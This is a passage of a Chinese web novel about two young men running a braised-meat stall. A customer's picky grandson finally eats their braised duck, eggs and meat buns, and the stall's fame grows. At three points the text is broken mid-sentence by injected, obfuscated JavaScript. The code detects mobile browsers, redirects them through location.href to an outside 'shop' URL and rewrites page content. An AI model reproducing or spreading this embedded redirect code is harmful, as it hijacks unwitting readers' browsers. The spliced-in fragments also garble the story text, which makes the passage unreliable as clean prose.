应望仔细想了下，自己之所以会对今天的收入感到略微的不满是因为活多了，但挣的钱却没增多。追根究底，还是两只鸭子费了大力气，但利润却不大。不过要再涨价那也是不可能的。就目前的市场价格而言，鸭肉不如猪肉受欢迎，要再贵，那顾客就宁愿去买猪肉吃，那才是世人眼中正儿八经的大荤菜。 所以，算明白账之后，应望就跟魏云舒商量，“云舒，我今天早上跟肉摊老板定了每天的猪头肉。” 魏云舒应了声，等着他接下来的话。 “所以明天的卤猪头肉我们是会继续卖的，可这样一来锅就不够用了，所以我想着把卤鸭去了，明天只卖卤猪头肉、部分卤素菜，外加卤蛋和两只卤猪蹄……”应望仔细说完自己的计划，然后询问，“你觉得怎么样？” “可以。”魏云舒心里也算好了一笔账，“活鸭要杀鸭拔毛燎毛，处理起来不比猪头简单，但利润却远不如卤猪头肉，所以还是算了。猪蹄相对来说只需要燎毛去脚趾，方便很多。” 应望笑说：“我也是这么想的。” 魏云舒也笑了起来，“至于素菜究竟卤多少，到时候就看剔了猪骨、加了卤猪蹄卤蛋之后还剩多大的地方吧。那个锅大，五六斤应该能加。” “明天试试就知道了。”应望说：“至于素菜菜品暂时就跟今天差不多，再观望观望。” 魏云舒：“行。” ＃ 就在应望和魏云舒商量今后小摊发展之时，老李头今天抢到的卤鸭也上了桌。 说起老李头，这还是应望和魏云舒的第一个顾客。他们那个时候在南幼南小门口摆摊卖肉夹馍，然后老李头被那股香味吸引了过去，成为了第一个试买顾客。 后来听邻居唠嗑说罐头厂门口有人卖卤猪头肉，那肉又是如何如何的好吃，老李头闲的没事干就过去凑热闹，然后猛然发现——嘿，这不是卖肉夹馍的两个小伙子嘛！ 从此，老李头又成了卤肉摊前的顾客。 老李头如今已经退休，退休工资也是自己的，加上孩子们也都出息，老李头现在每天过得可谓有钱有闲，最多看顾看顾孙子、再寻摸好吃的，日子滋润着呢，这不，卤鸭叫他抢上了！ 说来也巧，等他拎着半只卤鸭回去的时候，就见嫁出去的姑娘回来了，正和老伴坐一块儿说话。 连带着有些体弱的外孙也回来了。 老李头这辈子儿女双全，小辈们也都出息，要说有什么不顺心的事，就是他姑娘的子嗣艰难了些。 和女婿结婚这么些年，两人只生了一个孩子。虽然那是个男孩，可偏偏这孩子天生挑食，不爱吃肉，总说肉上面有股怪味，他不爱吃。就是鸡蛋也不怎么喜欢，他总觉得腥。 肉蛋才是最补人的，可偏偏外孙不爱吃，这哪行啊？！ 两家带着孩子医院也去了，肉蛋也变着花样做了，什么法子都想了，但外孙就是不爱吃，硬逼着他吃他能直接吐出来，模样招人疼的很，大人也不敢再逼了，没用。 不吃肉蛋，别说医生，就是他们这不懂医术的人也都知道这对身体不好。现实也的确如此，那孩子是越长越瘦，脸颊上一点肉都没有，虽然没有三天两头的生病，但光看着就弱不禁风的，叫他们忍不住担忧，如果一直这么下去，以后长大了可不得跟个竹竿似的？ 小时候身子亏了，以后日子哪能好过？！ 两家是看在眼里、急在心里，却寻不到个解决办法。 饭菜摆上桌，几个小的坐一块，两家的孩子对比起来也更加明显——孙子孙女看着就健康强壮许多，外孙则显得更加瘦弱。 这场面看的大人心里头都是一酸。李翠芬、也就是老李头的女儿嫁的人家并不差，她自己也是工人，如今放开之后买肉吃那是绝对买得起的，可偏偏儿子却养得跟十几二十多年前吃不起饭的孩子似的，瘦的叫人不忍看。 老李头见气氛凝滞，招呼着大家说：“今天卤肉摊子新上了几样菜，我买了半只卤鸭，你们都尝尝。” 卤鸭有点凉了，但并未冷透，正适合如今的天气吃。 大孙子眼睛立刻亮了，“爷爷，是卖肉夹馍和卤猪头肉的地方吗？” 老李头回答说：“是啊，就是他们在卖的。” 大孙子立刻伸了筷子要夹，但他人小，筷子还没使利索，根本夹不上来。小孩儿立刻急了，“妈妈，夹肉！” 他妈妈无奈的说：“我帮你夹。” 很快，一块没骨头的卤鸭肉进碗里。小孩儿急不可耐的动手想吃，但因为筷子用不利索，最后选择端着碗刨，嘴巴登时塞的鼓鼓的。 他吃的香，李翠芬看的眼热，转眼问自己的儿子，“浩浩，哥哥在吃卤鸭，想不想吃？” 浩浩眨眨眼，“鸭子？” 李翠芬刚想说是，老李头却把话茬接了过来，“是卤鸭，跟之前吃的鸭子不一样，浩浩试试？” 浩浩皱起小眉头，见旁边因为刨肉弄的满嘴饭粒的大表哥，摇了摇小脑袋表示不吃。 李翠芬继续游说：“这次的肉不一样，浩浩就尝尝，不好吃就不吃。” 浩浩：“妈妈每次都这么说，但每次肉都不好吃。” 李翠芬一腔话语瞬间被堵回腹内，唯余已经快要麻木的心脏。 李老太见姑娘一副要哭出来的难受模样，心里不落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477493|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍，不死心的说：“浩浩，你问问你大表哥，让他告诉你好不好吃。” 浩浩略有些狐疑的转头。 专心干饭的小孩儿听见大家说自己，眨巴眨巴眼，看看这个又瞅瞅那个，最后含糊不清的说：“好吃！” 老李头问：“真好吃？” “真好吃！”自从吃过肉夹馍之后，小孩儿每天就可期待爷爷给他买的吃的了，肉夹馍、卤蛋、卤肉都好吃！他一顿可以吃满满一大碗饭！ 所以此刻见爷爷还有些不相信自己话的模样，小孩儿心里不服气，“爷爷，真的好吃！我喜欢！” 老李头说：“你浩浩弟弟不信。” 小孩儿立刻转头，板着小脸严肃的对浩浩说：“浩浩，卤鸭好吃，特别特别好吃，比妈妈他们做的都好吃！是我吃过的最最最最最好吃的鸭子！” 他妈妈：“……” 你可真是我的好大儿。 浩浩迷茫了，见大表哥异常严肃认真的表情，半信半疑的问：“真的？” 小孩儿狠狠点头，“真的，骗你是小狗。” 浩浩这下信了，“我信你。” 小孩儿顿时满意。他正想回去继续吃自己的卤鸭，却发现小表弟的碗里还没有呢。不仅小表弟的碗里没有，自己的碗里也没有。 他立刻转头对他妈说：“妈妈，我还要卤鸭。” 他妈妈当即伸手给他夹了一块，正想问浩浩要不要也来一块，就听见她儿子继续说：“妈妈，浩浩也要。” 他妈妈立刻顺着话给浩浩夹了一块。 小孩儿顿时心满意足，转过小脑袋跟小表弟说：“浩浩，快吃。” 浩浩哦了一声。 而迫不及待的小孩儿已经转过头专心致志的埋头干饭了，浑然不知同桌的大人们此时一个个是多么的紧张。 浩浩也紧张。 以前妈妈他们说肉好吃，可他却觉得很难吃，吃到嘴里就想吐，这块肉会跟以前的一样吗？ 大表哥说好吃，那应该没骗他吧？ 浩浩想着想着又不确定了起来，因为妈妈他们以前也是这样说的。 浩浩满脸凝重的望了那块肉好一会儿，听着旁边大表哥香喷喷的咀嚼声，最终决定相信大表哥试试，因为大表哥都说骗他是小狗了。 卤鸭一入口，充斥在嘴里的是没尝过的味道，有点怪，但没有那种让他想吐的味道。 咦，真的跟以前的不一样诶！ 浩浩再嚼两口，随后越嚼越快，小嘴包的鼓鼓的。 他心想，大表哥没骗他，大表哥真不是小狗！ 一心想着大表哥的浩浩哪里知道，他的妈妈这会儿已经激动的落泪了，他的外公外婆舅舅舅妈们也都纷纷瞪大了眼…… 浩浩没把肉吐出来！ 李翠芬手足无措，整个人都傻了，然后转过头，语无伦次的问：“吃了，真的吃了！看见了嘛！在哪儿买的，爸，这卤鸭在哪里买的？” 老李头内心百感交集，答话却不含糊，“就在罐头厂门口！” 17. 第 17 章 隔天，李翠芬跟着老李头早早就到了罐头厂门口，见熟悉的人影一出现，父女俩立刻狂奔过去。 同行的还有不少来抢着买东西的回头客。 李翠芬边观察摊子，耳朵里边听着周围人说话，类似“那卤鸭好吃不贵！”“半只只要三四块钱，买回去能装一大碗，跟自己买鸭子回去做都差不多！”“味道可真好，自家做不出来。”“香的我恨不得把舌头吞下去。”等等话语不绝于耳，无一例外全是吹捧。 李翠芬看的咋舌，脚下跑的也快。 别人只是觉得卤鸭好吃，对她来说却是救儿良药！ 到了摊前，老李头抢夺第一，迫不及待就说：“我要一只卤鸭！” 不等应望和魏云舒回答，排后边的人就先嚷嚷起来了，“老李头，可不兴贪心啊，买半只得了！” 老李头扭头就答：“半只不够吃！” 那人：“你买那么多，我们后边的咋办，你给我们留点！” 其他人帮腔，“就是啊，给我们留点！” 昨天买到卤鸭的人本就不多，在现场的遗憾至今，没在现场但却听人说起这事的人也心痒难耐，不然也不会迫不及待的来这里等着，不就是为了抢到卤鸭嘛！ 众所周知，这摊子上的东西每天准备的都不多，速度慢了就抢不到最好的。卤鸭昨天才两只，今天前头的就整只整只的买，那哪儿还轮得到他们？！ 一群人嘴里嚷嚷个没完。李翠芬围在一旁，差点没被他们给挤出去。 这生意是真好啊！ 而应望和魏云舒则看的满头黑线，眼见着要吵起来，应望立刻拔高声音，“各位！今天没有卤鸭，都别吵了！” 正大声嚷嚷的各位：“……？？！！” 大家齐刷刷的转头，惊呼，“什么？！” 这场面，这眼神，叫应望竟是咽了咽口水，无端有些心虚，“今天没有卤鸭，只有卤猪头肉……” “等等！”老李头回过神了，他猛然打断应望介绍的话，只问：“你说今天没有卤鸭？” 应望被他这严肃的表情吓了一跳，惶惶点头。 李翠芬也急了，她直接冲到最前面，“真没有？怎么没有呢？！” 她满眼焦急，动作间还带着点疯狂，别说应望，就是边上同样傻眼的其他顾客也有点虚。 虽然没卤鸭卖让他们很不爽，但反应这么激烈也没必要吧？ 魏云舒将应望拉到自己身后，暗自警惕防备着，嘴上回答说：“家里地方窄，只够卤猪头肉、猪蹄、鸡蛋和素菜，鸭子没地方卤，想吃卤鸭的抱歉了。” 老李头意识到他们冲动了，他拉住还想说什么的李翠芬，才问：“那什么时候再卖卤鸭？” 魏云舒没明确回答，“等地方大点吧。” 李翠芬却想要个准确答案，“具体什么时候，明天？后天？” 魏云舒说：“不好说。” 李翠芬脸色难看。 应望好奇的看了她好几眼，一个卤鸭，不至于吧？ 老李头叹了口气，“唉，家里情况有点特殊，所以我姑娘心里急，你们别放心上。” 众人恍然大悟，就说嘛脸色怎么这么不对劲，原来是有内情在。 边上有面熟的人笑说了句：“老李头，有事慢慢来，瞧你把人家小老板吓的。” 老李头顺势也道了句歉，又说：“那个卤猪蹄我还没尝过，这样，给我来个猪蹄，再来两个卤鸡蛋。” 应望见气氛缓和，从魏云舒身后出来，顺势说：“稍等，这就给您捞。” 老李头立刻：“不急不急，你们慢慢来。” 李翠芬也知道自己急了点，显得有些态度不好，于是等魏云舒将卤猪蹄剁好，应望将包好的东西递过来时立刻从包里摸了钱，“不好意思，四块钱，你收好。” 做生意嘛，和气生财，所以应望笑脸迎人，“没关系，东西您拿好。” 李翠芬应了声，“诶，好。” 两人买好东西离开后，众人才窃窃私语起来，纷纷询问是怎么回事，有没有人知道，他们心里头好奇。 别说，大伙都是住在附近的，有人还真听过一句半言的，此时既然说到了这里，那他不免要说说浩浩。 所以应望和魏云舒干活之余也听了个大概，当然，他们没怎么将此事放心上，孩子不吃饭，家长都没办法，那他们这些陌生人也无策啊！ 这边，李翠芬出了人群后脸上强挤出来的笑也淡了，她忧心忡忡的问：“爸，你说这个卤猪蹄，浩浩会吃吗？” “应该会。”老李头其实不知道，但见姑娘难受，心里也欢喜不起来，尽挑好的话宽慰她，“那俩小伙子做的卤肉味儿都不错，我吃着有些香料大差不离，既然卤鸭浩浩都吃，那没道理卤猪蹄不吃。” 李翠芬确实被安慰到了，悬着的心放下一半，“那就好。” 老李头说：“行了，成不成的等会儿饭桌上就知道了。” 李翠芬：“嗯。” ＃ 大半个小时后。 李家饭桌上摆好了餐，座次跟昨天一样。已经恢复情绪的李翠芬望着乖乖端着碗的儿子，放软了声音说：“浩浩，妈妈今天和外公去昨天的卤鸭摊子上买了卤猪蹄，你尝尝好不好吃？” 一说起卤鸭，浩浩眼睛就亮了亮，立刻说：“要吃！” 李翠芬欣慰，立刻给他夹了一块肉，还没忘记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477494|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给边上的侄子侄女夹。 浩浩想起昨晚上的美味，当即夹了那块肉往嘴里塞，结果才嚼了没两下就直接吐了出来。 众人脸色大变。 李翠芬豁然起身，“浩浩！” 浩浩脸色有点白，小眉头皱着，“妈妈，肉不好吃。” 李翠芬心疼坏了，“不好吃就不吃。” 旁边，几个小孩子儿满脸茫然，不明白浩浩为什么不吃肉。 大人们心里也很奇怪。 不都是一个摊上的买东西吗，怎么今天的又不吃了？ 老李头看看浩浩，又看看一脸茫然、嘴巴里还不忘嚼吧的孙子孙女，最终选择伸手夹起一块卤猪蹄。 猪蹄色泽红亮，肉颤巍巍的，咬一口是略有些熟悉的大料香，皮肉软糯弹牙，平心而论，这卤猪蹄味道很不错，是小摊上一贯的水准。 不过比起卤鸭来说确实有一股独属于猪蹄的味道，并不明显，很淡，反正比起自家炖猪蹄时的味道来说可以说是没有。 可就是这么淡薄的味道，却被浩浩吃了出来。 想到此，老李头心里叹气，这孩子嘴刁啊。 桌上气氛有些凝滞，但浩浩这种情况已经出现过很多次了，因此李翠芬很快就把浩浩给哄好了，大家重新坐好端上碗吃饭。 李老太见浩浩只吃青菜，想了想，提议说：“要不浩浩试试卤鸡蛋？” 李翠芬有些犹豫，她怕浩浩再吐出来。 老李头想想卤蛋的味道，又对比对比卤猪蹄的味道，说：“可以试试。” 李翠芬是试不出来浩浩嘴刁的那种肉蛋区别，她征求对方的意见，“浩浩，卤蛋跟之前吃的鸡蛋不一样，你试试？” 浩浩皱眉，看着有点不情愿。 许是被刚刚浩浩吐肉的场面刺激到，李翠芬又退缩了。 李老太恨铁不成钢，就算孩子再反感，遇到不一样的东西也要试试啊，不然孩子什么时候才肯吃肉？ 昨天的卤鸭不就挺好嘛！ 李翠芬不肯，李老太自己上，“浩浩，外婆给你夹一点点卤蛋，你试试乐不乐意吃，要是不喜欢咱就不吃，好不好？” 浩浩不答话，显然不想试。 李老太继续哄，“浩浩，你想想昨天晚上的卤鸭，万一卤蛋跟卤鸭一样好吃呢？” 浩浩眼睛亮了亮。 李老太趁热打铁，直接给他夹了一瓣被切成四分之一的卤蛋，眼带鼓励的说：“浩浩，试试？” 在众人殷切的视线下，浩浩夹起了卤蛋。在卤蛋入他嘴巴的那一瞬间，众人的心都是提起来的，唯恐他又将卤蛋吐出来。 万幸，并没有。 大伙眼睛亮了。 18. 第 18 章 中午，每人一个肉夹馍吃过后，应望和魏云舒收拾东西出摊。 他们没想到，今天竟然又碰到了老李头和李翠芬，而且这次李翠芬还带着个孩子。 想起昨天顾客们闲谈的话，应望不由得多看了那小孩儿几眼，心想这个就是那味觉敏感的孩子？ 周围顾客比应望还好奇，已经开问了，“老李头，这是你那个外孙？” 老李头说：“是啊，我乖孙。” 周围人嘴角一抽，据说连蛋肉都不吃，还乖？ 不过话不能这么说，平白得罪人。大家顺着话就说些类似“看着是个乖巧的。”“不哭不闹，比我家那小子好多了。”等话，没叫场子尴尬。 甭管旁人心里怎么想，老李头和李翠芬听别人夸自家孩子，那自然是高兴的。 也有热心的人说：“照我说还是要多看看医生，人家那可是专业的，肯定比我们懂得多。再不济，凭借去医院的次数，多从医院买点奶粉回来也好啊，那东西补人。” 这是实话。 人家医生专门治病救人的，技术肯定比他们好，因此自从李翠芬他们发现浩浩不吃肉蛋后就没少带着他去医院，只是舌头灵这件事医生也没办法，他们只得铩羽而归。当然，之后也没少去就是了。就跟那人说的，去医院不为别的，就为了那点在医院好买一些的奶粉与麦乳精，万幸浩浩能吃这些，多多少少能补回来一点，不然还不知道浩浩身体多弱呢。 想到此处，老李头脸上笑容不变，“现在比以前好多了，前天买的卤鸭也肯吃了。” 那人惊了惊，“真的啊？” 老李头又说：“昨儿买的卤鸡蛋也吃了。” 那人看向浩浩的目光顿时就带着点不可思议，一直不吃肉蛋的孩子现在竟然吃了？ 不少人都是这么个想法。 “恭喜啊老李。” “多谢多谢，孩子好就好了。” “你姑娘可算是守得云开见月明了。” 李翠芬在一旁听着这话觉得有些想哭，高兴的想哭，她握紧浩浩的手，说：“我就希望他平平安安健健康康的。” “肯定的肯定的。” 和风吹拂，盆里的肉香更盛。 在场的都是住在附近的人员，和下午卤肉摊上的顾客重叠率很高，大家也都知道两个摊位是同一对老板。 有人打趣说：“诶，卤鸭卤蛋可都是人家小老板做出来的，你们可不得好好感谢感谢。” 众人呦呦笑起来，直说是。 还有人甚至打趣到了应望和魏云舒头上，“两位小老板，你们做的东西可招孩子喜欢了，人家别的都不吃，就爱你们做的呢！” 应望听的乐起来，“是我们的荣幸，生意能做起来也少不了大家的支持。” 这话说的众人心里舒坦。 是个会做生意的小伙子！ 队伍终于排到李翠芬，她一口气点了三个肉夹馍，等做的时间，她才又说：“这孩子从小不吃肉蛋，吃什么吐什么，只有你们做的卤鸭卤蛋是例外，确实该我们说句谢谢。” 她这正儿八经的，差点给应望给整不会了。怔了片刻，才说：“我们开门做生意，你们付钱买东西，当不得一句谢。” “当得。”李翠芬眼含泪花，“对你们来说只是生意，对我们来说却是良药。” 看她激动的模样，再看看抬着小脸有些疑惑的小孩，应望心绪复杂。不过，自家卖的东西能帮助到别人，那总归是开心的。所以，他笑着说：“孩子好就好了，欢迎光临我们的小摊。” 李翠芬破涕为笑，“一定。” 恰在此时，魏云舒做好了三个肉夹馍，应望装好递过去。 李翠芬付了钱，然后牵着孩子到了一旁，都等不及走远，当场蹲下将一个肉夹馍递给孩子，哄他吃。 浩浩小手覆在他妈妈的手上，好奇的盯着那比他半张脸还大的饼看了会儿，然后才张开小嘴咬了一口。 周围人也都感兴趣的盯着看。 众人只见小孩儿咬了一口，然后嘴巴开始咀嚼起来，最后还将东西咽了下去，眼睛亮亮的说：“妈妈，好吃！” 他妈妈当场喜极而泣。 众人看的一阵唏嘘。 应望心中有种难以言说的滋味，低声跟魏云舒说：“真的吃了。” 魏云舒看的真切，“嗯。” 应望说：“还有种成就感。” 魏云舒说：“说明你的手艺好。” 应望嘿嘿笑，别人夸奖他还要谦虚谦虚，但云舒夸他他只有高兴的份。 魏云舒觉得他像只骄傲的小猫。 因为这么一出，这事很快在附近传开了，不出半天就传的众所皆知，没亲眼目睹的人半信半疑，纷纷询问真的假的，哪儿那么神奇。 亲眼所见者就绘声绘色的描述现场画面，讲的眉飞色舞的，然后—— 一不小心夸张过头了。 “真神了！医生都没辙的事儿人家卤肉摊子给治好了！” “你们想啊，那肉夹馍和卤肉卤菜多香啊，里面说不准就有什么药草呢，搁锅里头一煮就融到了肉里去，那不就能治病了嘛！” “对啊，不然那肉怎么那么香，原来是有药草！” “我就说嘛，以前我精力不济总觉得累，最近却觉得舒坦多了，原来是因为这肉给我治病了！” “看来真能治病啊！” “……” 应望：？？？ 你们说的不是卤肉，说的是神药吧？！ “谣言传着传着就成传说了。”听说这些话的应望哭笑不得。 魏云舒轻轻眯了下眼睛，“相当于免费打广告了，以后的生意更不用愁。” “那倒是。”应望品了品，“不过我们的生意一直都还可以，本就不用愁。” 魏云舒心说，这话没有任何毛病。 果不其然，肉夹馍和卤肉摊上的生意那叫一个好，以前是有几个人提前排队，但罐头厂的工人们下班后还能买到些东西，而现在则是罐头厂工人们下班后汤都卖干净了！ 是的，汤、也就是卤汁卖光了。 这是附近居民们新开发出来的吃法，买一份卤猪头肉/卤猪蹄/几个卤蛋/卤菜回去，再跟老板多要点卤汁，买的菜单独盛出来，卤汁则重新下锅，跟自家准备的炖菜一块煮，这样一来，原本平平无奇的菜就会好吃许多，比骨头炖的都不差了！ 最重要的是，卤汁是小摊老板免费给的，自家能节省下盐酱醋味精，越算越划算！ 这个年代的人，那都是从精打细算的日子里过过来的，对于生计，那计算能力简直一流。于是当第一个人尝试着跟应望他们要卤汁成功后，基本上在小摊买东西的都会要点卤汁。 应望和魏云舒也不是个抠搜人，既然大家要了，那就大大方方的给。除了每天留下当老卤的部分，带过来的卤汁都一勺一勺的给了出去，半点脸色不摆，这叫顾客们暗地里点了不少头，纷纷说他们大方，也乐意买他们的东西。 虽然这钱都得花，但花的开心也是不一样的体验。 “别看他们俩年纪不大，但为人老道。” “可不是，每天笑眯眯的，为人也不抠搜，可比以前国营饭店的那些人态度好多了。” “哈哈哈还国营饭店呢，眼看着他们都干不下去了。” “谁说不是呢，瞅瞅这附近卖东西的，哪个不是笑脸迎人，看着就叫人心里舒爽几分。他们态度好，我这钱用的也高兴啊！” “嘿，我还是更乐意在小老板他们这花钱。” “物有所值不是。” “那不然呢？要不是这个手艺人品，我铁定不乐意天天来。” “对对对。” 董振中到附近没多久就听到了不少赞美的话。他观察了片刻，才确定大家聊的确实是自己要找的人。 隔着各色小摊与人群，董振中看着立在小摊背后拿着刀切肉的人，脑子里闪过的却是各种消息。他神情凝重了些，但依旧没露面。 这边，正在给顾客切肉的魏云舒渐渐就感觉有一股视线落在自己身上，他趁着肉切好的空挡不经意抬头，本想看看到底是谁在盯着他，然后就看到了站在远处一颗树下的董振中。 魏云舒愣了下，没想到是他。 应望收好钱扭头见他愣神，问了句：“怎么了？” 魏云舒回过神，“没事。” 应望很信任他，听他这么说也就没多想，继续低头忙碌。 东西卖的很快，又过了不到十分钟就不剩任何东西，卤汁也分了个干净。两人将东西简单的收拢下，顾客也散的差不多了，但董振中还在原地没动。 魏云舒放下手里的东西，转身对应望说：“我去一下，你等等我。” 应望疑惑，“去哪儿？” 魏云舒凑到应望耳边，以防别人偷听，“董振中。” 应望双眼瞪大。 魏云舒点头。 应望明白了，只说：“你去吧，我等你。” 魏云舒嗯了声，然后转身走了过去。 应望抬眼一看，果然是那个有些眼熟的人，他记住了。 不过，董振中现在找过来，是不是那边有消息了？ 一想到此处，应望也没心思琢磨其它的，只一心一意的想小树村那边到底怎么样了，那群畜生究竟落网了没，包括董晓燕在内的那些人救出来了吗。 越想应望越焦躁，恨不得跟过去听个全场。 罐头厂下班了，工人们直奔而来，结果摊子都拆的差不多了，“东西又没了？” 应望神思不属的说：“没了。” 工人：“每天多准备点啊！” 应望应付着：“会考虑的。” 又唠唠叨叨几句，那工人才离开。 之后陆续有人过来，结果却都一样。有人难免要问一句：“东西都卖完了，小老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477495|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板怎么还不回去？哦对，另一个老板呢，今儿没来啊？” 应望强扯出个笑回答：“他去买点东西，我在这等他一块回。” “这样。那你再等等，我回了。” “诶，好。” 一串串絮叨应付完毕，应望那点担心也被磨的差不多了。他心想，不管那边情况如何，他们如今都已经逃出来了，以后也不可能回去。 ——命运掌握在自己手里。 这是事实，他会好好走自己的路。 坚定了信心，应望也放松了，然后开始琢磨自己的生意。 天际只剩一缕余晖，罐头厂的工人已全部下班，摊贩们今日的生意也做到尾儿，附近人家的炊烟飘至半空，若是舍得下料的，锅里的食物香能飘到鼻尖。 一整天的忙碌结束，此时该吃一顿晚饭犒劳自己了。 在零星只剩几个摆地摊的人还没收拾东西离开时，魏云舒终于回来了。 “怎么样？”应望立刻询问。 担心隔墙有耳，魏云舒说：“回去说。” 应望只能将那点急切按捺下去，应了声好就和魏云舒一块往家走。行至一半，习惯使然，应望还想去菜市场买点东西回去做饭。 魏云舒也说：“去吧，别的事不急。” 于是应望就去了。 这会儿菜市场的摊贩比罐头厂门口还多一些，不过菜却不怎么新鲜了，毕竟有些摆了一天，有些即便没有一天也有几个小时了。 应望转了两圈，最后买了把青菜，一点黄豆，又称了点薯粉，这才拎着东西回家去。 回家第一件事，先将薯粉泡上，然后帮着正在清洗器物的魏云舒将东西洗干净。 天眼看着麻麻黑，肚子早饿了，所以这顿饭做的简单——菜不炒了，直接从张奶奶的菜地里割了几根葱，然后掏出前段时间腌的荠菜切成小块，又炸了点花生米和黄豆，烧水做了两海碗酸辣粉。 碗装了热汤到底烫，两人端着去客厅的饭桌上吃。这张四方桌是托了张奶奶认识的木匠新打的，价格不贵，但有了它会方便许多。 呼噜噜两筷子的酸辣粉下肚，应望脸上已经被热辣出了汗，但没忘记董振中的事。 “他正好有战友在隔壁省，离的还算近，于是托战友帮忙，果然发现了一些端倪……” 现在国家百废待兴，有些偏远地区一时难免被疏忽、以至于藏污纳垢。董振中请假亲自去了趟，念着魏云舒的提醒，所以他并没有大张旗鼓的去找一些人，而是在暗地里观察，耗费好一段时间后终于叫他给发现了一些东西。董振中不敢打草惊蛇，他只能联系信得过的战友，然后联合督察此事，中途发生了不少事，总之并不太顺利，有还未查到的拦路虎在作祟。 董振中原本以为这件事很快能了结，所以没有请很长的假，现在时间到了，他只能先回来一趟，顺便联系些人，想将这件事处理干净。又想起魏云舒是举报者，还是从小树村出来的，可能知道不少内幕能提供帮助，这才又来找了魏云舒一趟。 当然，不论是魏云舒还是应望都很清楚，他们当初既然找上了门，那么作为关键的证人，董振中无论如何都是会派人盯着他们的，这也是为什么他们现在安心在白云市待着等消息的原因。 “那依你看还要多久才能得结果？”应望询问。 魏云舒说：“如果找对人，那应该快了。” 应望：“找不对呢……” 魏云舒：“打草惊蛇。” 应望脸色不太好看，夹起的一筷子粉都放下了。有道是顺藤摸瓜，他们现在就是那根藤上的瓜。 见他这面色，魏云舒又说：“不过跟我们关系不大，人海茫茫，我们已经逃出了那个小水潭，顺着水流汇入汪洋，他们找不到的。” 应望不放心，“董……” 魏云舒说：“我今天跟他说了，叫他没事别来找我们，也不必时刻盯着，我们跟那些人是仇人，不可能反水。” 应望问：“他答应了吗？” 魏云舒说：“答应了。” 他不答应也得答应。他们是帮手不是仇人，手里还掌握着董振中本人这个主帅，真要反水，那第一个死的就是帅。所以董振中不会得罪他们，他提了要求，董振中会答应的。 应望稍稍放下心，这才有心情继续吃粉。 经过沸煮又热烫的薯粉已经有些透明，上面沾着特调的油辣椒，经过盐、酱油、味精、葱姜蒜等调料的融合，酸辣粉吃起来真是又酸又辣，再来一两颗油炸的黄豆花生和腌芥菜，那滋味简直不要太丰富。 就两个字——过瘾！ 应望吃的浑身冒汗，嘴巴里也觉得酸辣，但不知道是醋开胃还是怎么样，真是吃了还想吃。 魏云舒也喜欢。 一海碗的酸辣粉吃完他觉得不够，又去厨房里煮了大半碗，呼呼的吃下肚，这才爽了。 两人瘫在客厅，肚皮溜圆，一时都没动弹。 19. 第 19 章 “从明天开始，每天早上的肉我想多做点。”瘫了片刻，应望突然出声。 魏云舒一笑，“终于决定了？” 应望无奈，“是啊。” 自从浩浩的事情传出去之后，他们的两个小摊就彻底火了，原本不买熟食的人们也因为这八卦来试试。毕竟它太火了，大家有事没事就爱聊一聊，要没吃过小摊上的东西在别人聊天的时候都快插不上话了，可以说是“赶时髦”。 为了不掉队，也抱着“我倒要看看大家都在说的肉夹馍/卤肉是不是真的有那么好吃”的心态前来尝试，结果…… 显而易见。 应望和魏云舒已经被越来越多的顾客们催过无数遍“加量”了，但之前他们只是说会考虑，并未付诸实践。 关于这点，应望哪怕现在也没做好决定，因为他始终记着一点——白云市只是自己暂时的一个落脚地，把摊子铺开是需要投入的，而他们这注定要离开的人没必要投入太多，不划算。 下午的卤肉摊似乎已经到极限，但上午的肉夹馍还有操作空间。这还是顾客给他的灵感。 最先提议的人是老李头。 老李头是附近的居民，但他的女儿李翠芬却不是，前段时间会过来只是回娘家。可娘家再好也不能一直住着，总有回去的时候。何况大人要上班、孩子要上学，可不能耽误正事。 李翠芬婆家在城西，离南幼这边有段距离，每天上学上班前后来买那是不现实的。偏偏他家情况还特殊，浩浩只吃小摊上的肉夹馍和卤蛋，住的远了，那能买到的机会就大大减少。何况早上肉夹馍得买了就吃，冷了再热一遍就没那么新鲜了，加上现在天气热了起来，食物也放不住！ 针对这个问题，两家人思来想去，还是得拜托李家这边买了肉之后他们再取回家去热一热。 卤蛋是要买的，但也不能仅仅只买卤蛋。 蛋的营养解决了，肉也不能少啊！ 卤鸭没了，卤猪头肉和卤猪蹄浩浩又不吃，那怎么办？只能把主意打到肉夹馍里面的肉上去。 所以老李头就想买肉夹馍里还没切碎的肉块。哪怕凉了也没关系，拿回家热一热也没区别。 所以老李头就跟应望他们询问了，看能不能单卖里面的肉。 